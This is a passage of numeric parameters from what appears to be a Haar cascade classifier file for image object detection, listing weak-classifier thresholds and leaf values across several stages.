<_> + + 0 -1 378 -8.9399999706074595e-04 + + 3.9572000503540039e-01 -2.9351300001144409e-01 + <_> + + 0 -1 379 9.7162000834941864e-02 + + -2.4980300664901733e-01 1.0859220027923584e+00 + <_> + + 0 -1 380 3.6614000797271729e-02 + + -5.7844001799821854e-02 1.2162159681320190e+00 + <_> + + 0 -1 381 5.1693998277187347e-02 + + 4.3062999844551086e-02 -1.0636160373687744e+00 + <_> + + 0 -1 382 -2.4557000026106834e-02 + + -4.8946800827980042e-01 1.7182900011539459e-01 + <_> + + 0 -1 383 3.2736799120903015e-01 + + -2.9688599705696106e-01 5.1798301935195923e-01 + <_> + + 0 -1 384 7.6959999278187752e-03 + + -5.9805899858474731e-01 2.4803200364112854e-01 + <_> + + 0 -1 385 1.6172200441360474e-01 + + -2.9613999649882317e-02 -2.3162529468536377e+00 + <_> + + 0 -1 386 -4.7889999113976955e-03 + + 3.7457901239395142e-01 -3.2779198884963989e-01 + <_> + + 0 -1 387 -1.8402999266982079e-02 + + -9.9692702293395996e-01 7.2948001325130463e-02 + <_> + + 0 -1 388 7.7665001153945923e-02 + + 1.4175699651241302e-01 -1.7238730192184448e+00 + <_> + + 0 -1 389 1.8921000882983208e-02 + + -2.1273100376129150e-01 1.0165189504623413e+00 + <_> + + 0 -1 390 -7.9397998750209808e-02 + + -1.3164349794387817e+00 1.4981999993324280e-01 + <_> + + 0 -1 391 -6.8037003278732300e-02 + + 4.9421998858451843e-01 -2.9091000556945801e-01 + <_> + + 0 -1 392 -6.1010001227259636e-03 + + 4.2430499196052551e-01 -3.3899301290512085e-01 + <_> + + 0 -1 393 3.1927000731229782e-02 + + -3.1046999618411064e-02 -2.3459999561309814e+00 + <_> + + 0 -1 394 -2.9843999072909355e-02 + + -7.8989601135253906e-01 1.5417699515819550e-01 + <_> + + 0 -1 395 -8.0541998147964478e-02 + + -2.2509229183197021e+00 -3.0906999483704567e-02 + <_> + + 0 -1 396 3.8109999150037766e-03 + + -2.5577300786972046e-01 2.3785500228404999e-01 + <_> + + 0 -1 397 3.3647000789642334e-02 + + -2.2541399300098419e-01 9.2307400703430176e-01 + <_> + + 0 -1 398 8.2809999585151672e-03 + + -2.8896200656890869e-01 3.1046199798583984e-01 + <_> + + 0 -1 399 1.0104399919509888e-01 + + -3.4864000976085663e-02 -2.7102620601654053e+00 + <_> + + 0 -1 400 -1.0009000077843666e-02 + + 5.9715402126312256e-01 -3.3831000328063965e-02 + <_> + + 0 -1 401 7.1919998154044151e-03 + + -4.7738000750541687e-01 2.2686000168323517e-01 + <_> + + 0 -1 402 2.4969000369310379e-02 + + 2.2877700626850128e-01 -1.0435529947280884e+00 + <_> + + 0 -1 403 2.7908000349998474e-01 + + -2.5818100571632385e-01 7.6780498027801514e-01 + <_> + + 0 -1 404 -4.4213000684976578e-02 + + -5.9798002243041992e-01 2.8039899468421936e-01 + <_> + + 0 -1 405 -1.4136999845504761e-02 + + 7.0987302064895630e-01 -2.5645199418067932e-01 + <_> + 91 + -3.6478610038757324e+00 + + <_> + + 0 -1 406 1.3771200180053711e-01 + + -5.5870598554611206e-01 1.0953769683837891e+00 + <_> + + 0 -1 407 3.4460999071598053e-02 + + -7.1171897649765015e-01 5.2899599075317383e-01 + <_> + + 0 -1 408 1.8580000847578049e-02 + + -1.1157519817352295e+00 4.0593999624252319e-01 + <_> + + 0 -1 409 2.5041999295353889e-02 + + -4.0892499685287476e-01 7.4129998683929443e-01 + <_> + + 0 -1 410 5.7179000228643417e-02 + + -3.8054299354553223e-01 7.3647701740264893e-01 + <_> + + 0 -1 411 1.4932000078260899e-02 + + -6.9945502281188965e-01 3.7950998544692993e-01 + <_> + + 0 -1 412 8.8900001719594002e-03 + + -5.4558598995208740e-01 3.6332499980926514e-01 + <_> + + 0 -1 413 3.0435999855399132e-02 + + -1.0124599933624268e-01 7.9585897922515869e-01 + <_> + + 0 -1 414 -4.4160000979900360e-02 + + 8.4410899877548218e-01 -3.2976400852203369e-01 + <_> + + 0 -1 415 1.8461000174283981e-02 + + 2.6326599717140198e-01 -9.6736502647399902e-01 + <_> + + 0 -1 416 1.0614999569952488e-02 + + 1.5251900255680084e-01 -1.0589870214462280e+00 + <_> + + 0 -1 417 -4.5974001288414001e-02 + + -1.9918340444564819e+00 1.3629099726676941e-01 + <_> + + 0 -1 418 8.2900002598762512e-02 + + -3.2037198543548584e-01 6.0304200649261475e-01 + <_> + + 0 -1 419 -8.9130001142621040e-03 + + 5.9586602449417114e-01 -2.1139599382877350e-01 + <_> + + 0 -1 420 4.2814001441001892e-02 + + 2.2925000637769699e-02 -1.4679330587387085e+00 + <_> + + 0 -1 421 -8.7139997631311417e-03 + + -4.3989500403404236e-01 2.0439699292182922e-01 + <_> + + 0 -1 422 -4.3390002101659775e-03 + + -8.9066797494888306e-01 1.0469999909400940e-01 + <_> + + 0 -1 423 8.0749997869133949e-03 + + 2.1164199709892273e-01 -4.0231600403785706e-01 + <_> + + 0 -1 424 9.6739001572132111e-02 + + 1.3319999910891056e-02 -1.6085360050201416e+00 + <_> + + 0 -1 425 -3.0536999925971031e-02 + + 1.0063740015029907e+00 -1.3413299620151520e-01 + <_> + + 0 -1 426 -6.0855999588966370e-02 + + -1.4689979553222656e+00 9.4240000471472740e-03 + <_> + + 0 -1 427 -3.8162000477313995e-02 + + -8.1636399030685425e-01 2.6171201467514038e-01 + <_> + + 0 -1 428 -9.6960002556443214e-03 + + 1.1561699956655502e-01 -7.1693199872970581e-01 + <_> + + 0 -1 429 4.8902999609708786e-02 + + 1.3050499558448792e-01 -1.6448370218276978e+00 + <_> + + 0 -1 430 -4.1611999273300171e-02 + + -1.1795840263366699e+00 2.5017000734806061e-02 + <_> + + 0 -1 431 -2.0188000053167343e-02 + + 6.3188201189041138e-01 -1.0490400344133377e-01 + <_> + + 0 -1 432 -9.7900000400841236e-04 + + 1.8507799506187439e-01 -5.3565901517868042e-01 + <_> + + 0 -1 433 -3.3622000366449356e-02 + + -9.3127602338790894e-01 2.0071500539779663e-01 + <_> + + 0 -1 434 1.9455999135971069e-02 + + 3.8029000163078308e-02 -1.0112210512161255e+00 + <_> + + 0 -1 435 -3.1800000579096377e-04 + + 3.6457699537277222e-01 -2.7610900998115540e-01 + <_> + + 0 -1 436 -3.8899999344721437e-04 + + 1.9665899872779846e-01 -5.3410500288009644e-01 + <_> + + 0 -1 437 -9.3496002256870270e-02 + + -1.6772350072860718e+00 2.0727099478244781e-01 + <_> + + 0 -1 438 -7.7877998352050781e-02 + + -3.0760629177093506e+00 -3.5803999751806259e-02 + <_> + + 0 -1 439 1.6947999596595764e-02 + + 2.1447399258613586e-01 -7.1376299858093262e-01 + <_> + + 0 -1 440 -2.1459000185132027e-02 + + -1.1468060016632080e+00 1.5855999663472176e-02 + <_> + + 0 -1 441 -1.2865999713540077e-02 + + 8.3812397718429565e-01 -6.5944001078605652e-02 + <_> + + 0 -1 442 7.8220004215836525e-03 + + -2.8026801347732544e-01 7.9376900196075439e-01 + <_> + + 0 -1 443 1.0294400155544281e-01 + + 1.7832300066947937e-01 -6.8412202596664429e-01 + <_> + + 0 -1 444 -3.7487998604774475e-02 + + 9.6189999580383301e-01 -2.1735599637031555e-01 + <_> + + 0 -1 445 2.5505999103188515e-02 + + 1.0103999637067318e-02 1.2461110353469849e+00 + <_> + + 0 -1 446 6.6700001480057836e-04 + + -5.3488200902938843e-01 1.4746299386024475e-01 + <_> + + 0 -1 447 -2.8867900371551514e-01 + + 8.2172799110412598e-01 -1.4948000200092793e-02 + <_> + + 0 -1 448 9.1294996440410614e-02 + + -1.9605399668216705e-01 1.0803170204162598e+00 + <_> + + 0 -1 449 1.2056600302457809e-01 + + -2.3848999291658401e-02 1.1392610073089600e+00 + <_> + + 0 -1 450 -7.3775000870227814e-02 + + -1.3583840131759644e+00 -4.2039998807013035e-03 + <_> + + 0 -1 451 -3.3128000795841217e-02 + + -6.4483201503753662e-01 2.4142199754714966e-01 + <_> + + 0 -1 452 -4.3937001377344131e-02 + + 8.4285402297973633e-01 -2.0624800026416779e-01 + <_> + + 0 -1 453 1.8110199272632599e-01 + + 1.9212099909782410e-01 -1.2222139835357666e+00 + <_> + + 0 -1 454 -1.1850999668240547e-02 + + -7.2677397727966309e-01 5.2687998861074448e-02 + <_> + + 0 -1 455 4.5920000411570072e-03 + + -3.6305201053619385e-01 2.9223799705505371e-01 + <_> + + 0 -1 456 7.0620002225041389e-03 + + 5.8116000145673752e-02 -6.7161601781845093e-01 + <_> + + 0 -1 457 -2.3715000599622726e-02 + + 4.7142100334167480e-01 1.8580000847578049e-02 + <_> + + 0 -1 458 -6.7171998322010040e-02 + + -1.1331889629364014e+00 2.3780999705195427e-02 + <_> + + 0 -1 459 -6.5310001373291016e-02 + + 9.8253500461578369e-01 2.8362000361084938e-02 + <_> + + 0 -1 460 2.2791000083088875e-02 + + -2.8213700652122498e-01 5.8993399143218994e-01 + <_> + + 0 -1 461 -1.9037999212741852e-02 + + -6.3711500167846680e-01 2.6514598727226257e-01 + <_> + + 0 -1 462 -6.8689999170601368e-03 + + 3.7487301230430603e-01 -3.3232098817825317e-01 + <_> + + 0 -1 463 -4.0146000683307648e-02 + + -1.3048729896545410e+00 1.5724299848079681e-01 + <_> + + 0 -1 464 -4.0530998259782791e-02 + + -2.0458049774169922e+00 -2.6925999671220779e-02 + <_> + + 0 -1 465 -1.2253999710083008e-02 + + 7.7649402618408203e-01 -4.2971000075340271e-02 + <_> + + 0 -1 466 -2.7219999581575394e-02 + + 1.7424400150775909e-01 -4.4600901007652283e-01 + <_> + + 0 -1 467 -8.8366001844406128e-02 + + -1.5036419630050659e+00 1.4289900660514832e-01 + <_> + + 0 -1 468 -7.9159997403621674e-03 + + 2.8666698932647705e-01 -3.7923699617385864e-01 + <_> + + 0 -1 469 -4.1960000991821289e-02 + + 1.3846950531005859e+00 6.5026998519897461e-02 + <_> + + 0 -1 470 4.5662999153137207e-02 + + -2.2452299296855927e-01 7.9521000385284424e-01 + <_> + + 0 -1 471 -1.4090600609779358e-01 + + -1.5879319906234741e+00 1.1359000205993652e-01 + <_> + + 0 -1 472 -5.9216000139713287e-02 + + -1.1945960521697998e+00 -7.1640000678598881e-03 + <_> + + 0 -1 473 4.3390002101659775e-03 + + -1.5528699755668640e-01 4.0664499998092651e-01 + <_> + + 0 -1 474 -2.0369999110698700e-03 + + 2.5927901268005371e-01 -3.8368299603462219e-01 + <_> + + 0 -1 475 2.7516499161720276e-01 + + -8.8497996330261230e-02 7.6787501573562622e-01 + <_> + + 0 -1 476 -2.6601999998092651e-02 + + 7.5024497509002686e-01 -2.2621999680995941e-01 + <_> + + 0 -1 477 4.0906000882387161e-02 + + 1.2158600240945816e-01 -1.4566910266876221e+00 + <_> + + 0 -1 478 5.5320002138614655e-03 + + -3.6611500382423401e-01 2.5968599319458008e-01 + <_> + + 0 -1 479 3.1879000365734100e-02 + + -7.5019001960754395e-02 4.8484799265861511e-01 + <_> + + 0 -1 480 -4.1482001543045044e-02 + + 7.8220397233963013e-01 -2.1992200613021851e-01 + <_> + + 0 -1 481 -9.6130996942520142e-02 + + -8.9456301927566528e-01 1.4680700004100800e-01 + <_> + + 0 -1 482 -1.1568999849259853e-02 + + 8.2714098691940308e-01 -2.0275600254535675e-01 + <_> + + 0 -1 483 1.8312999978661537e-02 + + 1.6367999836802483e-02 2.7306801080703735e-01 + <_> + + 0 -1 484 -3.4166000783443451e-02 + + 1.1307320594787598e+00 -1.8810899555683136e-01 + <_> + + 0 -1 485 -2.4476999416947365e-02 + + -5.7791298627853394e-01 1.5812499821186066e-01 + <_> + + 0 -1 486 4.8957001417875290e-02 + + -2.2564999759197235e-02 -1.6373280286788940e+00 + <_> + + 0 -1 487 -2.0702999085187912e-02 + + -5.4512101411819458e-01 2.4086999893188477e-01 + <_> + + 0 -1 488 -2.3002000525593758e-02 + + -1.2236540317535400e+00 -7.3440000414848328e-03 + <_> + + 0 -1 489 6.4585000276565552e-02 + + 1.4695599675178528e-01 -4.4967499375343323e-01 + <_> + + 0 -1 490 1.2666000053286552e-02 + + -2.7873900532722473e-01 4.3876600265502930e-01 + <_> + + 0 -1 491 -1.2002999894320965e-02 + + -2.4289099872112274e-01 2.5350099802017212e-01 + <_> + + 0 -1 492 -2.6443999260663986e-02 + + -8.5864800214767456e-01 2.6025999337434769e-02 + <_> + + 0 -1 493 -2.5547999888658524e-02 + + 6.9287902116775513e-01 -2.1160000469535589e-03 + <_> + + 0 -1 494 3.9115000516176224e-02 + + -1.6589100658893585e-01 1.5209139585494995e+00 + <_> + + 0 -1 495 -6.0330000706017017e-03 + + 4.3856900930404663e-01 -2.1613700687885284e-01 + <_> + + 0 -1 496 -3.3936999738216400e-02 + + -9.7998398542404175e-01 2.2133000195026398e-02 + <_> + 99 + -3.8700489997863770e+00 + + <_> + + 0 -1 497 4.0672998875379562e-02 + + -9.0474700927734375e-01 6.4410597085952759e-01 + <_> + + 0 -1 498 2.5609999895095825e-02 + + -7.9216998815536499e-01 5.7489997148513794e-01 + <_> + + 0 -1 499 1.9959500432014465e-01 + + -3.0099600553512573e-01 1.3143850564956665e+00 + <_> + + 0 -1 500 1.2404999695718288e-02 + + -8.9882999658584595e-01 2.9205799102783203e-01 + <_> + + 0 -1 501 3.9207998663187027e-02 + + -4.1955199837684631e-01 5.3463298082351685e-01 + <_> + + 0 -1 502 -3.0843999236822128e-02 + + 4.5793399214744568e-01 -4.4629099965095520e-01 + <_> + + 0 -1 503 -3.5523001104593277e-02 + + 9.1310501098632812e-01 -2.7373200654983521e-01 + <_> + + 0 -1 504 -6.1650000512599945e-02 + + -1.4697799682617188e+00 2.0364099740982056e-01 + <_> + + 0 -1 505 -1.1739999987185001e-02 + + -1.0482879877090454e+00 6.7801997065544128e-02 + <_> + + 0 -1 506 6.6933996975421906e-02 + + 2.9274499416351318e-01 -5.2282899618148804e-01 + <_> + + 0 -1 507 -2.0631000399589539e-02 + + -1.2855139970779419e+00 4.4550999999046326e-02 + <_> + + 0 -1 508 -2.2357000038027763e-02 + + -8.5753798484802246e-01 1.8434000015258789e-01 + <_> + + 0 -1 509 1.1500000255182385e-03 + + 1.6405500471591949e-01 -6.9125002622604370e-01 + <_> + + 0 -1 510 3.5872999578714371e-02 + + 1.5756499767303467e-01 -8.4262597560882568e-01 + <_> + + 0 -1 511 3.0659999698400497e-02 + + 2.1637000143527985e-02 -1.3634690046310425e+00 + <_> + + 0 -1 512 5.5559999309480190e-03 + + -1.6737000644207001e-01 2.5888401269912720e-01 + <_> + + 0 -1 513 -6.1160000041127205e-03 + + -9.7271800041198730e-01 6.6100001335144043e-02 + <_> + + 0 -1 514 -3.0316999182105064e-02 + + 9.8474198579788208e-01 -1.6448000445961952e-02 + <_> + + 0 -1 515 -9.7200004383921623e-03 + + 4.7604700922966003e-01 -3.2516700029373169e-01 + <_> + + 0 -1 516 -5.7126998901367188e-02 + + -9.5920699834823608e-01 1.9938200712203979e-01 + <_> + + 0 -1 517 4.0059997700154781e-03 + + -5.2612501382827759e-01 2.2428700327873230e-01 + <_> + + 0 -1 518 3.3734001219272614e-02 + + 1.7070099711418152e-01 -1.0737580060958862e+00 + <_> + + 0 -1 519 -3.4641999751329422e-02 + + -1.1343129873275757e+00 3.6540001630783081e-02 + <_> + + 0 -1 520 4.6923000365495682e-02 + + 2.5832301378250122e-01 -7.1535801887512207e-01 + <_> + + 0 -1 521 -8.7660001590847969e-03 + + 1.9640900194644928e-01 -5.3355097770690918e-01 + <_> + + 0 -1 522 6.5627999603748322e-02 + + -5.1194999366998672e-02 9.7610700130462646e-01 + <_> + + 0 -1 523 -4.4165000319480896e-02 + + 1.0631920099258423e+00 -2.3462599515914917e-01 + <_> + + 0 -1 524 1.7304999753832817e-02 + + -1.8582899868488312e-01 4.5889899134635925e-01 + <_> + + 0 -1 525 3.3135998994112015e-02 + + -2.9381999745965004e-02 -2.6651329994201660e+00 + <_> + + 0 -1 526 -2.1029999479651451e-02 + + 9.9979901313781738e-01 2.4937000125646591e-02 + <_> + + 0 -1 527 2.9783999547362328e-02 + + -2.9605999588966370e-02 -2.1695868968963623e+00 + <_> + + 0 -1 528 5.5291999131441116e-02 + + -7.5599999399855733e-04 7.4651998281478882e-01 + <_> + + 0 -1 529 -3.3597998321056366e-02 + + -1.5274159908294678e+00 1.1060000397264957e-02 + <_> + + 0 -1 530 1.9602999091148376e-02 + + 3.3574998378753662e-02 9.9526202678680420e-01 + <_> + + 0 -1 531 -2.0787000656127930e-02 + + 7.6612901687622070e-01 -2.4670800566673279e-01 + <_> + + 0 -1 532 3.2536000013351440e-02 + + 1.6263400018215179e-01 -6.1134302616119385e-01 + <_> + + 0 -1 533 -1.0788000188767910e-02 + + -9.7839701175689697e-01 2.8969999402761459e-02 + <_> + + 0 -1 534 -9.9560003727674484e-03 + + 4.6145799756050110e-01 -1.3510499894618988e-01 + <_> + + 0 -1 535 -3.7489999085664749e-03 + + 2.5458198785781860e-01 -5.1955598592758179e-01 + <_> + + 0 -1 536 -4.1779998689889908e-02 + + -8.0565100908279419e-01 1.5208500623703003e-01 + <_> + + 0 -1 537 -3.4221000969409943e-02 + + -1.3137799501419067e+00 -3.5800000187009573e-03 + <_> + + 0 -1 538 1.0130000300705433e-02 + + 2.0175799727439880e-01 -6.1339598894119263e-01 + <_> + + 0 -1 539 -8.9849002659320831e-02 + + 9.7632801532745361e-01 -2.0884799957275391e-01 + <_> + + 0 -1 540 2.6097999885678291e-02 + + -1.8807999789714813e-01 4.7705799341201782e-01 + <_> + + 0 -1 541 -3.7539999466389418e-03 + + -6.7980402708053589e-01 1.1288800090551376e-01 + <_> + + 0 -1 542 3.1973000615835190e-02 + + 1.8951700627803802e-01 -1.4967479705810547e+00 + <_> + + 0 -1 543 1.9332999363541603e-02 + + -2.3609900474548340e-01 8.1320500373840332e-01 + <_> + + 0 -1 544 1.9490000559017062e-03 + + 2.4830399453639984e-01 -6.9211997091770172e-02 + <_> + + 0 -1 545 -4.4146999716758728e-02 + + -1.0418920516967773e+00 4.8053000122308731e-02 + <_> + + 0 -1 546 -4.4681999832391739e-02 + + 5.1346302032470703e-01 -7.3799998499453068e-03 + <_> + + 0 -1 547 -1.0757499933242798e-01 + + 1.6202019453048706e+00 -1.8667599558830261e-01 + <_> + + 0 -1 548 -1.2846800684928894e-01 + + 2.9869480133056641e+00 9.5427997410297394e-02 + <_> + + 0 -1 549 -4.4757999479770660e-02 + + 6.0405302047729492e-01 -2.7058699727058411e-01 + <_> + + 0 -1 550 -4.3990999460220337e-02 + + -6.1790502071380615e-01 1.5997199714183807e-01 + <_> + + 0 -1 551 -1.2268999963998795e-01 + + 6.6327202320098877e-01 -2.3636999726295471e-01 + <_> + + 0 -1 552 -1.9982999190688133e-02 + + -1.1228660345077515e+00 1.9616700708866119e-01 + <_> + + 0 -1 553 -1.5527999959886074e-02 + + -1.0770269632339478e+00 2.0693000406026840e-02 + <_> + + 0 -1 554 -4.8971001058816910e-02 + + 8.1168299913406372e-01 -1.7252000048756599e-02 + <_> + + 0 -1 555 5.5975999683141708e-02 + + -2.2529000416398048e-02 -1.7356760501861572e+00 + <_> + + 0 -1 556 -9.8580000922083855e-03 + + 6.7881399393081665e-01 -5.8180000633001328e-02 + <_> + + 0 -1 557 1.3481000438332558e-02 + + 5.7847999036312103e-02 -7.7255302667617798e-01 + <_> + + 0 -1 558 6.5609999001026154e-03 + + -1.3146899640560150e-01 6.7055797576904297e-01 + <_> + + 0 -1 559 7.1149999275803566e-03 + + -3.7880599498748779e-01 3.0978998541831970e-01 + <_> + + 0 -1 560 4.8159998841583729e-03 + + -5.8470398187637329e-01 2.5602099299430847e-01 + <_> + + 0 -1 561 9.5319999381899834e-03 + + -3.0217000842094421e-01 4.1253298521041870e-01 + <_> + + 0 -1 562 -2.7474999427795410e-02 + + 5.9154701232910156e-01 1.7963999882340431e-02 + <_> + + 0 -1 563 -3.9519999176263809e-02 + + 9.6913498640060425e-01 -2.1020300686359406e-01 + <_> + + 0 -1 564 -3.0658999457955360e-02 + + 9.1155898571014404e-01 4.0550000965595245e-02 + <_> + + 0 -1 565 -1.4680000022053719e-03 + + -6.0489797592163086e-01 1.6960899531841278e-01 + <_> + + 0 -1 566 1.9077600538730621e-01 + + 4.3515000492334366e-02 8.1892901659011841e-01 + <_> + + 0 -1 567 5.1790000870823860e-03 + + -9.3617302179336548e-01 2.4937000125646591e-02 + <_> + + 0 -1 568 2.4126000702381134e-02 + + 1.8175500631332397e-01 -3.4185901284217834e-01 + <_> + + 0 -1 569 -2.6383999735116959e-02 + + -1.2912579774856567e+00 -3.4280000254511833e-03 + <_> + + 0 -1 570 5.4139997810125351e-03 + + -4.6291999518871307e-02 2.5269600749015808e-01 + <_> + + 0 -1 571 5.4216001182794571e-02 + + -1.2848000042140484e-02 -1.4304540157318115e+00 + <_> + + 0 -1 572 2.3799999326001853e-04 + + -2.6676699519157410e-01 3.3588299155235291e-01 + <_> + + 0 -1 573 1.5216999687254429e-02 + + -5.1367300748825073e-01 1.3005100190639496e-01 + <_> + + 0 -1 574 1.7007999122142792e-02 + + 4.1575899720191956e-01 -3.1241199374198914e-01 + <_> + + 0 -1 575 3.0496999621391296e-02 + + -2.4820999801158905e-01 7.0828497409820557e-01 + <_> + + 0 -1 576 6.5430002287030220e-03 + + -2.2637000679969788e-01 1.9184599816799164e-01 + <_> + + 0 -1 577 1.4163999259471893e-01 + + 6.5227001905441284e-02 -8.8809502124786377e-01 + <_> + + 0 -1 578 1.9338000565767288e-02 + + 1.8891200423240662e-01 -2.7397701144218445e-01 + <_> + + 0 -1 579 -1.7324000597000122e-02 + + -9.4866698980331421e-01 2.4196999147534370e-02 + <_> + + 0 -1 580 -6.2069999985396862e-03 + + 3.6938399076461792e-01 -1.7494900524616241e-01 + <_> + + 0 -1 581 -1.6109000891447067e-02 + + 9.6159499883651733e-01 -2.0005300641059875e-01 + <_> + + 0 -1 582 -1.0122500360012054e-01 + + -3.0699110031127930e+00 1.1363799870014191e-01 + <_> + + 0 -1 583 -7.5509999878704548e-03 + + 2.2921000421047211e-01 -4.5645099878311157e-01 + <_> + + 0 -1 584 4.4247999787330627e-02 + + -3.1599999056197703e-04 3.9225301146507263e-01 + <_> + + 0 -1 585 -1.1636000126600266e-01 + + 9.5233702659606934e-01 -2.0201599597930908e-01 + <_> + + 0 -1 586 4.7360002063214779e-03 + + -9.9177002906799316e-02 2.0370499789714813e-01 + <_> + + 0 -1 587 2.2459000349044800e-02 + + 8.7280003353953362e-03 -1.0217070579528809e+00 + <_> + + 0 -1 588 -1.2109000235795975e-02 + + 6.4812600612640381e-01 -9.0149000287055969e-02 + <_> + + 0 -1 589 5.6120000779628754e-02 + + -3.6759998649358749e-02 -1.9275590181350708e+00 + <_> + + 0 -1 590 -8.7379999458789825e-03 + + 6.9261300563812256e-01 -6.8374998867511749e-02 + <_> + + 0 -1 591 6.6399998031556606e-03 + + -4.0569800138473511e-01 1.8625700473785400e-01 + <_> + + 0 -1 592 -1.8131999298930168e-02 + + -6.4518201351165771e-01 2.1976399421691895e-01 + <_> + + 0 -1 593 -2.2718999534845352e-02 + + 9.7776198387145996e-01 -1.8654300272464752e-01 + <_> + + 0 -1 594 1.2705000117421150e-02 + + -1.0546600073575974e-01 3.7404099106788635e-01 + <_> + + 0 -1 595 -1.3682999648153782e-02 + + 6.1064100265502930e-01 -2.6881098747253418e-01 + <_> + 115 + -3.7160909175872803e+00 + + <_> + + 0 -1 596 3.1357999891042709e-02 + + -1.0183910131454468e+00 5.7528597116470337e-01 + <_> + + 0 -1 597 9.3050003051757812e-02 + + -4.1297501325607300e-01 1.0091199874877930e+00 + <_> + + 0 -1 598 2.5949999690055847e-02 + + -5.8587902784347534e-01 5.6606197357177734e-01 + <_> + + 0 -1 599 1.6472000628709793e-02 + + -9.2857497930526733e-01 3.0924499034881592e-01 + <_> + + 0 -1 600 -1.8779999809339643e-03 + + 1.1951000243425369e-01 -1.1180130243301392e+00 + <_> + + 0 -1 601 -9.0129999443888664e-03 + + -5.7849502563476562e-01 3.3154401183128357e-01 + <_> + + 0 -1 602 2.2547999396920204e-02 + + -3.8325101137161255e-01 5.2462202310562134e-01 + <_> + + 0 -1 603 -3.7780001759529114e-02 + + 1.1790670156478882e+00 -3.4166999161243439e-02 + <_> + + 0 -1 604 -5.3799999877810478e-03 + + -8.6265897750854492e-01 1.1867900192737579e-01 + <_> + + 0 -1 605 -2.3893000558018684e-02 + + -7.4950599670410156e-01 2.1011400222778320e-01 + <_> + + 0 -1 606 -2.6521999388933182e-02 + + 9.2128598690032959e-01 -2.8252801299095154e-01 + <_> + + 0 -1 607 1.2280000373721123e-02 + + 2.6662799715995789e-01 -7.0013600587844849e-01 + <_> + + 0 -1 608 9.6594996750354767e-02 + + -2.8453999757766724e-01 7.3168998956680298e-01 + <_> + + 0 -1 609 -2.7414999902248383e-02 + + -6.1492699384689331e-01 1.5576200187206268e-01 + <_> + + 0 -1 610 -1.5767000615596771e-02 + + 5.7551199197769165e-01 -3.4362199902534485e-01 + <_> + + 0 -1 611 -2.1100000012665987e-03 + + 3.2599699497222900e-01 -1.3008299469947815e-01 + <_> + + 0 -1 612 1.2006999924778938e-02 + + 8.9322999119758606e-02 -9.6025598049163818e-01 + <_> + + 0 -1 613 -1.5421999618411064e-02 + + 3.4449499845504761e-01 -4.6711999177932739e-01 + <_> + + 0 -1 614 -4.1579999960958958e-03 + + 2.3696300387382507e-01 -5.2563297748565674e-01 + <_> + + 0 -1 615 -2.1185999736189842e-02 + + -7.4267697334289551e-01 2.1702000498771667e-01 + <_> + + 0 -1 616 -1.7077000811696053e-02 + + -9.0471798181533813e-01 6.6012002527713776e-02 + <_> + + 0 -1 617 -4.0849998593330383e-02 + + -3.4446600079536438e-01 2.1503700315952301e-01 + <_> + + 0 -1 618 -8.1930002197623253e-03 + + -9.3388599157333374e-01 5.0471000373363495e-02 + <_> + + 0 -1 619 -1.9238000735640526e-02 + + -5.3203701972961426e-01 1.7240600287914276e-01 + <_> + + 0 -1 620 -4.4192001223564148e-02 + + 9.2075002193450928e-01 -2.2148500382900238e-01 + <_> + + 0 -1 621 -6.2392000108957291e-02 + + -7.1053802967071533e-01 1.8323899805545807e-01 + <_> + + 0 -1 622 -1.0079999919980764e-03 + + -8.7063097953796387e-01 5.5330000817775726e-02 + <_> + + 0 -1 623 2.3870000615715981e-02 + + -2.2854200005531311e-01 5.2415597438812256e-01 + <_> + + 0 -1 624 2.1391000598669052e-02 + + -3.0325898528099060e-01 5.5860602855682373e-01 + <_> + + 0 -1 625 2.0254999399185181e-02 + + 2.6901501417160034e-01 -7.0261800289154053e-01 + <_> + + 0 -1 626 -2.8772000223398209e-02 + + -1.1835030317306519e+00 4.6512000262737274e-02 + <_> + + 0 -1 627 3.4199999645352364e-03 + + -5.4652100801467896e-01 2.5962498784065247e-01 + <_> + + 0 -1 628 5.6983001530170441e-02 + + -2.6982900500297546e-01 5.8170700073242188e-01 + <_> + + 0 -1 629 -9.3892000615596771e-02 + + -9.1046398878097534e-01 1.9677700102329254e-01 + <_> + + 0 -1 630 1.7699999734759331e-02 + + -4.4003298878669739e-01 2.1349500119686127e-01 + <_> + + 0 -1 631 2.2844199836254120e-01 + + 2.3605000227689743e-02 7.7171599864959717e-01 + <_> + + 0 -1 632 -1.8287500739097595e-01 + + 7.9228597879409790e-01 -2.4644799530506134e-01 + <_> + + 0 -1 633 -6.9891996681690216e-02 + + 8.0267798900604248e-01 -3.6072000861167908e-02 + <_> + + 0 -1 634 1.5297000296413898e-02 + + -2.0072300732135773e-01 1.1030600070953369e+00 + <_> + + 0 -1 635 6.7500001750886440e-03 + + -4.5967999845743179e-02 7.2094500064849854e-01 + <_> + + 0 -1 636 -1.5983000397682190e-02 + + -9.0357202291488647e-01 4.4987998902797699e-02 + <_> + + 0 -1 637 1.3088000006973743e-02 + + 3.5297098755836487e-01 -3.7710601091384888e-01 + <_> + + 0 -1 638 1.3061000034213066e-02 + + -1.9583599269390106e-01 1.1198940277099609e+00 + <_> + + 0 -1 639 -3.9907000958919525e-02 + + -1.3998429775238037e+00 1.9145099818706512e-01 + <_> + + 0 -1 640 1.5026999637484550e-02 + + 2.3600000422447920e-03 -1.1611249446868896e+00 + <_> + + 0 -1 641 -2.0517999306321144e-02 + + -4.8908099532127380e-01 1.6743400692939758e-01 + <_> + + 0 -1 642 -2.2359000518918037e-02 + + -1.2202980518341064e+00 -1.1975999921560287e-02 + <_> + + 0 -1 643 -7.9150004312396049e-03 + + 3.7228098511695862e-01 -8.5063003003597260e-02 + <_> + + 0 -1 644 1.5258000232279301e-02 + + -2.9412600398063660e-01 5.9406399726867676e-01 + <_> + + 0 -1 645 -3.1665999442338943e-02 + + -1.4395569562911987e+00 1.3578799366950989e-01 + <_> + + 0 -1 646 -3.0773999169468880e-02 + + -2.2545371055603027e+00 -3.3971000462770462e-02 + <_> + + 0 -1 647 -1.5483000315725803e-02 + + 3.7700700759887695e-01 1.5847999602556229e-02 + <_> + + 0 -1 648 3.5167001187801361e-02 + + -2.9446101188659668e-01 5.3159099817276001e-01 + <_> + + 0 -1 649 -1.7906000837683678e-02 + + -9.9788200855255127e-01 1.6235999763011932e-01 + <_> + + 0 -1 650 -3.1799999997019768e-03 + + 4.7657001763582230e-02 -7.5249898433685303e-01 + <_> + + 0 -1 651 1.5720000490546227e-02 + + 1.4873799681663513e-01 -6.5375399589538574e-01 + <_> + + 0 -1 652 2.9864000156521797e-02 + + -1.4952000230550766e-02 -1.2275190353393555e+00 + <_> + + 0 -1 653 2.9899999499320984e-03 + + -1.4263699948787689e-01 4.3272799253463745e-01 + <_> + + 0 -1 654 8.4749996662139893e-02 + + 